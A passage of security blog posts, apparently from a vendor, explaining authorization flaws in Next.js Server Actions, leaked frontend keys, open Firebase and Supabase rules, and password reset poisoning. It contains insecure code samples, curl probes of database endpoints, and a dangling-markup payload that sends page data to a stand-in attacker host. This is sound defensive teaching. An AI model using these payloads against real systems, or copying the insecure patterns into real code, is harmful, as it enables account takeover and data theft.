  • Next.js Server Actions Security: Every Action Is a Public Endpoint

    Next.js Server Actions Security: Every Action Is a Public Endpoint

    A Server Action feels like a function you call, so it is easy to treat it like private internal code. It is not. Next.js Server Actions security starts with one fact that changes how you write every one of them: an action marked "use server" compiles down to a public HTTP endpoint. The framework wires up a POST route for it and ships an identifier to the browser so the client can invoke it. Anyone who can reach your site can reach that route directly, with a request they wrote by hand, without ever loading your interface.

    Why Next.js Server Actions security is really API security

    When you write an async function in the App Router, mark it "use server", and import it into a client component, Next.js does not send that function to the browser. It keeps the code on the server and replaces the import with a reference: an action id plus a fetch that posts to your app. Clicking the button in your UI sends that POST. So does curl. So does a script that read the action id out of your bundle. The endpoint does not check where the call came from, and it cannot, because a request is just a request.

    This means every Server Action is an API route wearing the clothes of a function. It needs the same three things every API route needs, on every call: proof of who is asking, a check that this caller is allowed to do this thing, and validation of the arguments before they touch your database. Skip any of them and the action is open to whoever finds it.

    A Server Action is not protected by the component that imports it. It is a public POST endpoint, and the only guard that counts is the code inside the function.

    The five ways quickly built apps get this wrong

    These are the shapes that keep turning up in AI generated Next.js code and in apps assembled fast. Each one comes from trusting the interface instead of the server.

    1. Assuming an admin only import is an admin only action

    The action lives in an admin dashboard. It is imported by a component that only renders for staff. The reasoning goes: users never see this, so users cannot call it. But the import graph is a client side detail. The endpoint is live for every visitor the moment the app boots. Reachability has nothing to do with which component references the function.

    2. No session check inside the action

    The action reads and writes data but never asks who is calling. The page around it was behind a login, so the action inherited a feeling of safety it never actually had. A direct POST arrives with no session and the action runs anyway. This is a Server Action with no authentication, the same class of bug as broken function level authorization: a privileged operation that forgot to check the caller’s privileges.

    3. No ownership check, so an id mutates someone else’s data

    The action takes an id argument and updates that record. It checks that you are logged in, then trusts the id you sent. Pass another user’s record id and you edit their data. That is an insecure direct object reference reached through a Server Action. Being signed in is not the same as being allowed to touch this specific row.

    4. Trusting arguments without validation

    Server Action arguments arrive as a serialized payload from the client. A hand crafted request can send a number where you expected a small positive integer, a string where you expected an enum, an object with extra fields, or a role of admin you never meant to accept. If the action passes those straight into a query or an update, the shape of your data is now decided by the attacker.

    5. A privileged mutation guarded only by a hidden button

    The dangerous action, delete an account, refund an order, grant a role, is protected by the fact that its button only appears for the right person. Hiding the button hides it from honest users looking at the screen. It does nothing to the endpoint. The guard has to live in the function, not in whether the UI chose to render a control.

    An insecure Server Action, then a fixed one

    Take an invented app, Acme Boards, where users own boards and can rename them. Here is the version that looks fine in a demo and is open in production.

    // app/actions/rename-board.ts
    "use server";
    
    import { db } from "@/lib/db";
    
    // Insecure: no auth, no ownership, no validation.
    export async function renameBoard(boardId: string, name: string) {
      await db.board.update({
        where: { id: boardId },
        data: { name },
      });
    }

    Nothing here asks who is calling, whether they own the board, or whether name is sane. A single POST with any boardId renames any board in the system. Now the version that treats the action as the public endpoint it is.

    // app/actions/rename-board.ts
    "use server";
    
    import { z } from "zod";
    import { db } from "@/lib/db";
    import { getSession } from "@/lib/auth";
    
    const RenameInput = z.object({
      boardId: z.string().uuid(),
      name: z.string().trim().min(1).max(80),
    });
    
    export async function renameBoard(raw: unknown) {
      // 1. Authenticate: who is calling?
      const session = await getSession();
      if (!session) {
        throw new Error("Not authenticated");
      }
    
      // 2. Validate: are the arguments the shape we expect?
      const { boardId, name } = RenameInput.parse(raw);
    
      // 3. Authorize ownership: does this caller own this board?
      const board = await db.board.findUnique({
        where: { id: boardId },
        select: { ownerId: true },
      });
      if (!board || board.ownerId !== session.userId) {
        throw new Error("Not allowed");
      }
    
      // 4. Only now perform the mutation.
      await db.board.update({
        where: { id: boardId },
        data: { name },
      });
    }

    The order is the point. Get the session first. Validate the input against a schema so unexpected shapes are rejected before they matter. Look up the record and confirm the caller owns it, comparing against an identity the server verified, not an id the request supplied. Then, and only then, write. Do this in every action, because each one is its own front door.

    How to test it from outside

    You do not need your own UI to call a Server Action, which is exactly why you should try calling it without one. Only ever do this against an app you own or have written permission to test. Open the network tab, trigger the action once through the interface, and read the request it sends. You will see a POST to your own route carrying the action id in a header and your arguments in the body. Copy that request. Then change it.

    • Send it with no session. Drop the auth cookie and replay. If the mutation still happens, there is no authentication check inside the action.
    • Send another user’s id. Sign in as one test account, take a valid request, and swap the target id for a record owned by a second account you created. If it succeeds, the ownership check is missing.
    • Send junk arguments. Post a negative number, a giant string, an extra field, or a wrong type. If the action does not reject it, there is no validation.

    Every failure here maps to one of the five shapes above, and every one is fixed in the same place: the server, on every call. This is the same lesson that runs through the rest of our guide to vibe coded app security, and it sits squarely in access control.

    These are not bugs a signature scanner catches, because the request is well formed and the response is a clean success. Finding them means understanding what an action is meant to allow and then checking whether the endpoint agrees. In our own early testing, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. That is the kind of assumption UnboundCompute is built to test, and you can read more on our about page.

    Frequently asked questions

    Are Next.js Server Actions private server code?

    No. A function marked "use server" compiles to a public HTTP endpoint. Next.js ships an action id to the browser and wires up a POST route, so anyone who can reach your site can invoke the action directly with a crafted request, not just your interface.

    Does importing an action only in an admin component protect it?

    No. The import graph is a client side detail and has nothing to do with reachability. The endpoint is live for every visitor once the app boots. The only guard that counts is the code inside the action, so every action needs its own checks.

    What checks should a Server Action run on every call?

    Three, in order. First authenticate the caller and confirm there is a valid session. Second validate the arguments against a schema, for example with zod, so unexpected shapes are rejected. Third confirm the caller is allowed to touch the specific record before you mutate anything.

    How does an IDOR happen through a Server Action?

    The action checks that you are logged in but then trusts an id you sent and updates that record. Pass another user’s id and you edit their data. The fix is an ownership check: look up the record and compare its owner against the verified session identity, not the id in the request.

    How do I test a Server Action from outside my UI?

    On an app you own, open the network tab, trigger the action once through the interface, and read the POST it sends. Copy that request, then replay it with no session, with another test account’s id, and with junk arguments. Any mutation that still succeeds points to a missing auth, ownership, or validation check.

    Why do scanners miss broken Server Action authorization?

    Because the request is well formed and the response is a clean success. Whether the caller is allowed to rename this board or delete that account is a fact about your application, not a known bad pattern. It takes a tester that learns the app’s rules and checks whether the endpoint enforces them.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Hardcoded API Keys in Frontend Code: Which Keys Leak and How to Fix It

    Hardcoded API Keys in Frontend Code: Which Keys Leak and How to Fix It

    Leaving hardcoded API keys in frontend code is one of the easiest mistakes to make and one of the most expensive to ignore. If an AI code generator or a five minute tutorial pasted a key into your React, Vue, or Next.js app, there is a good chance it now ships inside the JavaScript your users download. The screen never shows it, but the bundle does, and anyone can read a bundle. This post explains which keys are safe to expose, which ones are not, how to find the ones that already leaked, and how to move them somewhere a stranger cannot reach.

    Public key or secret key: the confusion behind hardcoded API keys in frontend code

    Not every key is a secret. Some are designed to sit in the browser, and treating those as dangerous only wastes your time. The problem is that they look almost identical to the keys that must never leave a server, so the two get mixed up.

    Keys that are meant to be public and are fine in client code:

    • A Firebase web config object.
    • A Supabase anon key. It is public by design, and its safety comes from row level rules, which we cover in Supabase RLS misconfiguration.
    • A Stripe publishable key (the one that starts with pk_).
    • A Google Maps browser key that you restrict by HTTP referrer.

    Keys that are secret and must live only on a server:

    • A Stripe secret key (sk_live_...), which can move real money.
    • An OpenAI or other model provider key, which spends your money on every request.
    • A database service key, such as a Supabase service_role key, which skips every access rule.
    • A SendGrid or Twilio key, which sends email and SMS billed to you.
    • A webhook signing secret, which lets an attacker forge trusted events.

    Why “it is in an environment variable” does not mean secret

    The most common false comfort is that a key is in an environment variable, so it must be hidden. That is true for a real server process. It is false the moment a build tool inlines the value into the client bundle, and modern frameworks do exactly that on purpose for anything with the right prefix.

    In Next.js, any variable named NEXT_PUBLIC_* is written straight into the JavaScript sent to the browser. Vite does the same for VITE_*, and Create React App does it for REACT_APP_*. The prefix is a promise that the value is public. So this, which an AI assistant might generate when you ask it to call a model from the client, ships your key to every visitor:

    // .env.local
    NEXT_PUBLIC_OPENAI_KEY=sk-acme-live-9f3b2c7a1d
    
    // app/summarize/page.tsx  (runs in the browser)
    const res = await fetch("https://api.openai.com/v1/chat/completions", {
      method: "POST",
      headers: {
        "Authorization": `Bearer ${process.env.NEXT_PUBLIC_OPENAI_KEY}`,
      },
      body: JSON.stringify({ model: "gpt-4o", messages }),
    });

    After you build, that key is a plain string in a file the browser downloads. The NEXT_PUBLIC_ prefix did not protect it. It advertised it.

    If your JavaScript can read a key, so can everyone who loads your site. An environment variable is not a hiding place when the framework bakes it into the bundle.

    How to find keys that already leaked

    You do not need special tools to check. Four passes cover most of it, and all of them are read only on your own app.

    • View source and search the bundle. Load your site, save the JavaScript files, and search them for sk_, service_role, secret, api_key, and your provider names. Anything that looks like a credential is one.
    • Watch the network tab. Open the feature that calls an external service and read the request headers. If an Authorization: Bearer value is sitting there in a call made from the browser, it is public.
    • Grep your git history. A key that was committed once and deleted later is still in history. Search old commits, not just the current tree, because a cloned repo carries every version.
    • Check your deployed environment list. Any secret sitting under a NEXT_PUBLIC_, VITE_, or REACT_APP_ name is shipped, full stop.

    What an attacker does with each leaked key

    The cost depends on the key, but none of the outcomes are minor.

    • A model provider key lets anyone run requests on your account until the quota or your card is drained. That is a straight path to denial of wallet, where the bill climbs while nothing looks broken.
    • A SendGrid or Twilio key lets an attacker send email and SMS as you, which burns your sending reputation and your balance at the same time.
    • A database service key reads and writes every row, skipping the access rules that protect your users. This is an access control failure, the category we track under access control.
    • A Stripe secret key can create charges, refunds, and payouts against your account.

    The fix: move the secret to a server

    The rule is simple. A secret key belongs in a place your users cannot read, which means a server route or a serverless function. The browser calls your endpoint, your endpoint holds the key and calls the provider. Rewritten, the earlier example looks like this:

    // .env.local  (server only, no NEXT_PUBLIC prefix)
    OPENAI_KEY=sk-acme-live-9f3b2c7a1d
    
    // app/api/summarize/route.ts  (runs on the server)
    export async function POST(req: Request) {
      const { messages } = await req.json();
      const res = await fetch("https://api.openai.com/v1/chat/completions", {
        method: "POST",
        headers: { "Authorization": `Bearer ${process.env.OPENAI_KEY}` },
        body: JSON.stringify({ model: "gpt-4o", messages }),
      });
      return Response.json(await res.json());
    }

    Drop the NEXT_PUBLIC_ prefix so the value stays server side, and the browser only ever talks to your own route. Beyond that, a short checklist keeps the problem from coming back:

    • Use publishable and restricted keys on the client. Stripe pk_, a Google Maps key locked to your referrer, a Supabase anon key backed by row rules.
    • Restrict every client key by scope. Referrer, allowed origins, and the narrowest permission set the provider offers.
    • Rotate any key that ever shipped. If it reached a browser once, treat it as burned and issue a new one. Hiding it later does nothing, since old bundles still exist.
    • Add a secret scanner in CI. A pre commit hook or a pipeline step that greps for key patterns catches the next paste before it merges.

    This mistake is a good example of a bug that hides in plain sight: the app works perfectly, so nothing prompts a second look. It fits into the wider picture of vibe coded app security, where the generated code runs but the safety step is still yours. In our own early testing, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before, which is the kind of quiet, working flaw an autonomous researcher that tests assumptions is built to catch. More on how we approach that is on our about page.

    Frequently asked questions

    Are hardcoded API keys in frontend code always a security problem?

    No. Some keys are designed to be public, such as a Stripe publishable key, a Firebase web config, a Supabase anon key, or a referrer restricted Google Maps key. The problem is secret keys, like a Stripe sk_live key, a model provider key, a database service_role key, or a Twilio key, which must live only on a server.

    Does putting a key in an environment variable keep it secret?

    Only if that variable stays on a server. Frameworks inline any variable with a public prefix into the client bundle at build time, so a NEXT_PUBLIC_, VITE_, or REACT_APP_ value ends up as plain text in the JavaScript the browser downloads. The prefix marks a value as public, it does not hide it.

    How do I find a leaked key in my own app?

    Load your site, save the JavaScript files, and search them for strings like sk_, service_role, secret, and api_key. Then watch the network tab for an Authorization header on calls made from the browser, and grep your git history, since a key committed once stays in old commits even after you delete it.

    What can an attacker do with a leaked model provider key?

    They can run requests on your account until the quota or your card is drained, which is a form of denial of wallet where the bill climbs while nothing looks broken. Other leaked keys let an attacker send email and SMS on your account, read and write your whole database, or create charges through your payment provider.

    How do I move a secret key off the frontend?

    Put the secret in a server route or serverless function that holds the key and calls the provider, then have the browser call your own endpoint instead. Drop any public prefix from the variable name so the framework keeps the value server side, and the key never reaches the client bundle.

    Do I still need to rotate a key after I move it server side?

    Yes. If a key ever shipped to a browser, treat it as compromised and issue a new one, because old bundles and cached files still carry the original value. Rotate the key, restrict client keys by scope and referrer, and add a secret scanner in CI so the next accidental paste is caught before it merges.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Secret Scanner lets you paste a file or diff and see what credentials it exposes. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Firebase Security Rules Misconfiguration: When Any Client Reads Everyone’s Data

    Firebase Security Rules Misconfiguration: When Any Client Reads Everyone’s Data

    A Firebase security rules misconfiguration is a Firestore collection, a Realtime Database path, or a Storage bucket that any visitor can read or write, because the Security Rules protecting it were left open or written to check the wrong thing. Firebase client SDKs talk to the database straight from the browser, and the Firebase config that authorises those calls ships in your page source where anyone can copy it. Security Rules are the only access control standing between a stranger and every record you hold.

    What do Firebase Security Rules actually do?

    Security Rules run on Google’s servers, in front of the database, below your application code. When a request arrives, Firebase finds the rule that matches the path being touched and evaluates it. If no rule allows the operation, it is denied. So the safe starting state is a database that answers nothing, and you grant access back one rule at a time.

    Take an invented app, Acme Journal. Each user writes private entries, and every document carries an ownerId field. A correct rule reads an entry only if the signed in caller owns it.

    rules_version = '2';
    service cloud.firestore {
      match /databases/{database}/documents {
        match /entries/{entryId} {
          allow read, write: if request.auth != null
            && request.auth.uid == resource.data.ownerId;
        }
      }
    }

    The load bearing part is request.auth.uid. Firebase verifies the caller’s ID token and hands the rule the verified user id, and the rule compares it against the ownerId already stored on the document. A caller with no session has no request.auth, so the check fails and the read returns nothing. Access control is now a property of the data, not of the screen that renders it.

    Why is the Firebase config not a secret?

    The Firebase config block, the one with apiKey and projectId, is meant to be public. It is not a credential. It only names your project so the client SDK knows which backend to call, and Google’s own docs say it is fine to ship in client code. Anyone can read it out of your bundle and send requests with it. That is expected, as long as every collection, path, and bucket it reaches has rules deciding what an anonymous or other caller may see. The config identifies the project. It does not authorise anything on its own.

    The Firebase config is not a vulnerability. A collection that answers that config with everyone’s documents is.

    What are the failure shapes of a Firebase security rules misconfiguration?

    Nearly every real case is one of four shapes, and all of them end in the same place: a caller reads or writes documents that are not theirs.

    • Test mode left on. New projects offer a starter ruleset that allows all reads and writes, sometimes until a fixed date. It is meant for a demo afternoon and then forgotten, so the database sits open on the internet.
    • Signed in mistaken for authorized. A rule checks request.auth != null and stops there. Every logged in user of the app now reads every other user’s documents, because the rule confirms identity but never checks ownership.
    • A new collection with no rule of its own. A feature ships a payments or invites collection, and nobody added a matching block. Depending on how the rules are written, the collection falls through to a broad parent match and inherits access it should never have.
    • Storage world readable. The Storage rules were opened for a file upload feature and never tightened, so uploaded receipts and profile images are fetchable by anyone with the URL pattern.

    The first shape is the one people ship without meaning to. It looks like this, and it is one deploy away from production:

    rules_version = '2';
    service cloud.firestore {
      match /databases/{database}/documents {
        // test mode: open to the world, sometimes until a date
        match /{document=**} {
          allow read, write: if true;
          // or the timed variant a quick start hands you:
          // allow read, write: if request.time
          //   < timestamp.date(2025, 1, 1);
        }
      }
    }

    This is common rather than rare. AI app builders and quick start templates routinely generate permissive rules to get a demo working fast, and public scans of quickly built apps have repeatedly found permissive database rules left in place. We cite that as a pattern, not a headcount. The point is the shape of the mistake: fast assembly puts a database on the internet, and locking the rules is the step that gets deferred. The same pressure produces the sibling problem in a Supabase RLS misconfiguration, where a public key reaches tables that Row Level Security never fenced off.

    Why is auth != null not authorization?

    Because it answers a different question. request.auth != null means the caller signed in to your Firebase project. It says nothing about which documents belong to them. If Acme Journal has ten thousand users and its entries rule stops at that check, any one account can list the whole entries collection and read everyone else’s private writing. Authentication is who you are. Authorization is what you are allowed to touch, and the rule has to compare the verified request.auth.uid against the owner field on the specific document.

    How do you verify it from outside instead of trusting the console?

    Ask the database the way a stranger would, using the public config and the documented REST endpoint, with no SDK in the way. Firestore exposes a plain REST API for every project.

    curl "https://firestore.googleapis.com/v1/projects/ACME_PROJECT/databases/(default)/documents/entries"

    A permission denied error means the rules held. Documents coming back mean a stranger reads that collection. Then repeat from three more seats, each catching a different failure:

    • Signed in as a real user, asking for another user’s documents. Get an ID token for a throwaway account and read a document whose ownerId is someone else. It should be denied.
    • Write, not just read. Attempt a create and an update. Read and write are separate clauses, so testing reads alone leaves half the rule untested.
    • Storage and every new collection. Check bucket objects by their URL pattern, and enumerate collections rather than testing only the ones you remember. The risky one is usually the collection added last.

    How do you fix it?

    • Deny by default. Start from rules that allow nothing and grant access one match block at a time. Never rely on a broad match /{document=**} with an allow in it.
    • Check ownership, not just presence. Compare request.auth.uid against a stored owner field the user cannot set, on writes as well as reads. Treat allow read, write: if true and if request.auth != null alone as findings.
    • Give every collection its own rule. When a feature adds a collection, add its match block in the same change, so nothing falls through to a permissive parent.
    • Lock Storage the same way. Scope object reads and writes to the owner, and never leave a bucket world readable after a file feature ships.
    • Test in the simulator and in CI. Run the rules simulator for the unauthenticated and other tenant cases, then encode the same assertions with the emulator so a future deploy cannot quietly reopen a path.

    Why do scanners miss this?

    Because nothing here is malformed. The request is well formed, the config is valid, the endpoint is documented, and the response is a clean 200. This is broken access control, the same class as broken object level authorization. A scanner can tell you a URL responded. It cannot tell you the documents in that response belonged to someone else, because who is allowed to see what is a fact about this application and nothing else. The same reasoning gap runs across the patterns in our guide to securing quickly built apps, and more of our writing on it sits under access control.

    Answering it takes a tester that learns the app’s own rules about ownership, forms an idea about where the rules do not enforce them, and proves it by fetching a document it should never have been given. As an early and encouraging signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. That is exactly the kind of assumption an autonomous security researcher, built to test assumptions rather than match payloads, is meant to probe, and it is what UnboundCompute is being built to do. You can read more on our about page.

    Frequently asked questions

    What is a Firebase security rules misconfiguration?

    It is a Firestore collection, Realtime Database path, or Storage bucket left open or protected by a rule that checks the wrong thing. Because Firebase client SDKs talk to the database straight from the browser, anyone holding the public Firebase config can then read, and often write, data that is not theirs.

    Is it safe to put the Firebase config and apiKey in the browser?

    Yes, the Firebase config is meant to be public and only names your project, so it is not a secret. It is safe only when every collection, path, and bucket it can reach has Security Rules that decide what a given caller may see. The config identifies the backend, it does not authorise anything on its own.

    Why is request.auth != null not enough in a Firestore rule?

    Because it confirms the caller signed in but never checks which documents belong to them. Any logged in user can then read every other user’s data. A correct rule compares the verified request.auth.uid against a stored owner field on the specific document.

    How do I test whether my Firebase Security Rules are working?

    Query the Firestore REST endpoint from outside with no session and confirm you get permission denied. Then repeat as a signed in user asking for another user’s documents, test writes as well as reads, and check Storage buckets and any newly added collection. The rules simulator and the local emulator let you assert the same cases in CI.

    What is test mode in Firebase and why is it risky?

    Test mode is a starter ruleset that allows all reads and writes, sometimes until a fixed expiry date, so a new project works instantly during a demo. It is risky when it reaches production, because the database is then open to anyone on the internet. Replace it with rules that deny by default before you ship.

    Is a Firebase security rules misconfiguration the same as a Supabase RLS problem?

    They are the same shape of bug on different platforms. In both cases the client SDK reaches the database directly from the browser with a public key, and a single layer of access control, Security Rules or Row Level Security, is the only thing keeping callers to their own data. When that layer is open or checks the wrong value, strangers read rows or documents that are not theirs.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Supabase RLS Misconfiguration: When Your Anon Key Reads Every Row

    Supabase RLS Misconfiguration: When Your Anon Key Reads Every Row

    A Supabase RLS misconfiguration is a database table that is reachable over the internet by anyone holding the public anon key, because Row Level Security is either switched off or governed by a policy that returns true for every caller. Supabase publishes a REST endpoint for every table in your public schema automatically, and the anon key that authorises those calls sits in your browser bundle where anybody can read it. Row Level Security is the only thing standing between a stranger and every row you own.

    What does Row Level Security actually do?

    Row Level Security attaches a filter to a Postgres table so that every query, whoever issues it, only sees rows the filter allows. It runs inside the database, below your application code. Once RLS is enabled, Postgres denies every row by default and you grant access back one policy at a time.

    Take an invented app, Acme Notes. Each user writes private notes, and the table has an owner_id column. A correct policy says: read a row only if the caller’s id matches its owner.

    alter table notes enable row level security;
    
    create policy "read own notes"
      on notes for select
      to authenticated
      using ( auth.uid() = owner_id );

    The important part is auth.uid(). Supabase verifies the caller’s JWT and hands Postgres the verified user id, and the policy compares it against the row. A caller with no session has no auth.uid(), so the comparison fails and the result is empty. Access control is now a property of the data, not of the screen that renders it.

    Why is the anon key not a secret?

    The anon key is designed to be public. It is a JWT with the role anon baked in, shipped to the browser so the client can talk to your project without a server in the middle. Anyone can open devtools, read it out of the JavaScript bundle, and use it from curl. That is fine, as long as every table it reaches has policies deciding what an anonymous caller may see.

    The service role key is the opposite. It carries the service_role claim, and that role bypasses RLS entirely by design. If it ever lands in a client bundle, a browser exposed environment variable, a mobile binary, or a public repository, every policy you wrote stops mattering at once.

    The anon key is not a vulnerability. A table that answers the anon key with all of its rows is.

    What are the four shapes of a Supabase RLS misconfiguration?

    Nearly every real case is one of four shapes, all ending in the same place: a caller reads or writes rows that are not theirs.

    • RLS never enabled. The table was created by a migration or a raw SQL statement and nobody ran enable row level security. Postgres applies no filter, the auto API serves it, and a plain GET returns the table.
    • A policy that says true. Someone hit a permission error in development, reached for the fastest unblock, and wrote using (true). RLS is on, a policy exists, and it grants every row to everyone.
    • A policy that checks nothing meaningful. It references a column the caller controls rather than an identity the database verified. A filter like using (is_public = true) is only as good as who may set is_public, and a policy keyed off a value from the request body is a filter the attacker fills in.
    • The service role key in the client. Policies are correct, thorough, and irrelevant, because the key in the browser bypasses all of them.

    Shape two is the one people ship on purpose:

    -- looks like a policy, is not a policy
    create policy "enable read access for all users"
      on notes for select
      using ( true );
    
    -- and the write side of the same mistake
    create policy "enable insert for all users"
      on notes for insert
      with check ( true );

    This is common rather than rare. A published scan of gallery projects built on the Lovable app builder reported roughly 170 of 1,645 applications exposing data through missing or inadequate RLS, and separate scanning by Escape.tech on production apps assembled with AI builders found a majority carried security issues. We have not tested those applications, and cite both as published third party work. The pattern is what matters: fast assembly puts a database on the internet in an afternoon, and access control is the step that gets deferred.

    Why is a green RLS badge not the same as secure?

    Because the dashboard reports whether RLS is enabled, not whether your policies mean anything. A table with RLS on and a single using (true) select policy shows the same reassuring state as a table locked down correctly. The badge answers “is the mechanism on,” and the question you care about is “who does this mechanism let in.”

    The gap widens as an app grows. Policies are written per table and per operation, and a table added late by a migration inherits nothing. Write policies get forgotten more often than read policies, which is how a stranger ends up able to insert rows into a table whose reads were locked down months ago.

    How do you verify RLS from outside instead of trusting the dashboard?

    Ask the API the way a stranger would: public anon key, no session, no client library in the way. The auto generated REST endpoint is the ground truth.

    curl "https://PROJECT.supabase.co/rest/v1/notes?select=*" \
      -H "apikey: PUBLIC_ANON_KEY"

    An empty array [] means the policies held. Rows coming back mean a stranger reads that table. Then repeat in three more positions, each catching a different failure:

    • Signed in as a real user, asking for another user’s rows. Add a filter such as ?owner_id=eq.SOMEONE_ELSE and confirm the result is empty.
    • Write, not just read. Send a POST and a PATCH as an anonymous caller. Read and write policies are separate objects, so testing reads alone leaves half the table untested.
    • Every table, not the ones you remember. Enumerate what the API exposes and test each one, since the risky table is usually the one added last.

    How do you prevent it?

    • Deny by default. Enable RLS in the same migration that creates the table, not later. RLS on with no policies returns nothing, which is the correct starting state.
    • Write policies against verified identity. Use auth.uid(), or a tenant id read from the verified JWT, against a column the user cannot set. Never key a policy off a value the request supplies.
    • Treat using (true) as a finding. Grep your migrations for it. If a table really is public, restrict the columns and say so deliberately, rather than letting a temporary unblock become the rule.
    • Keep the service role key server side only. No browser bundle, no client environment variable, no mobile binary. Rotate it if it was ever committed.
    • Test each policy from two hostile seats. An unauthenticated caller, and a signed in user of a different tenant. Make both assertions in CI so a future migration cannot quietly reopen the table.
    • Assume every exposed table is internet facing. Anything the auto API serves has a public URL whether or not your app calls it.

    Why do scanners miss this?

    Because nothing here is malformed. The request is well formed, the key is valid, the endpoint is documented, and the response is a clean 200. This is broken access control, the same class as broken object level authorization, its cousin broken function level authorization, and the field level variant in broken object property level authorization. A scanner can tell you a URL responded. It cannot tell you the rows in that response belonged to someone else, because who is allowed to see what is a fact about this application and nothing else. The same reasoning gap shows up in client side paywall bypass and across the patterns in our guide to securing quickly built apps.

    Answering it takes a tester that learns the app’s own rules about ownership and tenancy, forms an idea about where the database does not enforce them, and proves it by fetching a row it should never have been given. That is exactly the assumption an autonomous researcher built to test assumptions, rather than match payloads, is meant to probe. More of our writing on it sits under access control and on our about page.

    Frequently asked questions

    What is a Supabase RLS misconfiguration?

    It is a table exposed through Supabase’s automatic REST API with Row Level Security either switched off or governed by a policy that returns true for every caller. Anyone holding the public anon key can then read, and sometimes write, rows that are not theirs.

    Is it safe to put the Supabase anon key in the browser?

    Yes, the anon key is designed to be public and ships in your client bundle by design. It is only safe when every table it can reach has policies that decide what an anonymous caller may see. The service role key is different because it bypasses Row Level Security entirely and must never leave your server.

    Why is a policy of USING true dangerous?

    Because it grants every row to every caller while the dashboard still reports that Row Level Security is enabled. The badge answers whether the mechanism is on, not whether your policy means anything, so a table with that policy looks identical to one that is locked down.

    How do you test whether Row Level Security is working?

    Query the REST endpoint from outside with the public anon key and no session, and confirm the response is an empty array. Then repeat as a signed in user asking for another user’s rows, test writes as well as reads, and run the check against every table the API exposes.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Password reset poisoning: how a genuine email hands over your account

    Password reset poisoning: how a genuine email hands over your account

    Password reset poisoning is an account takeover technique that never touches the victim’s password and never spoofs an email. The attacker asks the real application to send a real reset email to the real address, but manipulates the request so the link inside that email points at a host the attacker owns. The victim clicks a message that came from a domain they trust, and the reset token walks straight into the attacker’s server log.

    The reason this works is that a lot of applications build the reset URL out of the incoming request rather than out of their own configuration. The general mechanics of that mistake are covered in our post on host header injection. This post stays on the reset flow itself: how the token gets out, the three ways it leaks, and what actually closes each one.

    What makes this different from ordinary phishing?

    The email is genuine. That single fact is what makes this class survive the checks that stop ordinary phishing.

    A phishing email has to fake a sender, so it fails SPF, DKIM, or DMARC, or it lands on a lookalike domain that a filter can score. A poisoned reset email fails none of that. It is generated by the application, signed by the application’s mail infrastructure, addressed to the account owner, and delivered to the inbox they expect. The subject line, the branding, and the footer are all real, because the application wrote them. Only the href is wrong, and it is wrong by one hostname.

    The only forged byte in a password reset poisoning attack is a hostname in a request header. Everything else, including the email and the token, is produced honestly by the application.

    How does the reset link end up on the wrong host?

    Because the code that builds the link asks the request where the site lives. Take an invented app, Acme Notes. Its reset mailer looks like this:

    # Vulnerable: the origin comes from the request
    base = request.headers["X-Forwarded-Host"] or request.headers["Host"]
    link = "https://" + base + "/reset?token=" + token
    send_email(user.email, link)
    

    Every framework has some version of this helper. It is convenient because one code path then works in local development, staging, and production without a config change. It is also a hole, because Host and every forwarded header are fields the client writes. When the reset form is submitted with a tampered value, the mailer happily builds the link around it, and the victim receives:

    https://notes.attacker.example/reset?token=8f21ab...c907
    

    The attacker’s server does not have to do anything clever. It logs the query string, and now holds a valid, unused reset token for an account it does not own. It redeems the token against the real Acme Notes reset endpoint and sets a new password. Some attackers even redirect the victim onward to the genuine reset page afterwards, so the click looks like it worked and nothing feels wrong.

    Note that the second header matters as much as the first. Teams often validate Host at the edge and then forget that their framework prefers X-Forwarded-Host when both are present. A request with a clean Host and a hostile X-Forwarded-Host passes the front door check and still poisons the link.

    How else can a reset token leak?

    Two more paths get the token out without touching the email at all. Both fire after the victim has clicked a completely correct link.

    The Referer leak

    Once the victim lands on https://acmenotes.example/reset?token=8f21ab...c907, that full URL sits in the browser’s address bar, token included. Every request the page then makes to another origin can carry it. If the reset page loads an analytics script, a font, a chat widget, or a tracking pixel from a third party, the browser attaches a Referer header holding the reset URL. The vendor now has a live token in their logs, and so does anyone who can read those logs.

    The same thing happens if the reset page contains any link the user might click, including a support link or a logo that points off site. The token travels in the referrer of that navigation.

    The dangling markup leak

    If the reset page reflects any attacker influenced value into HTML without escaping it, an unclosed attribute can swallow the rest of the page and ship it off site. The classic shape is an injected fragment that opens a quoted attribute and never closes it:

    <img src="https://collector.attacker.example/log?x=
    

    The browser keeps consuming markup looking for the closing quote, and everything up to the next quote in the document becomes part of that URL, including a token printed in a hidden form field or a nearby href. This leaks data on pages where scripts are blocked outright, which is why a strong script policy alone does not cover it. Our post on CSS injection data exfiltration covers the same idea with a different sink: data leaving a page through a channel nobody classified as executable.

    How do you prevent password reset poisoning?

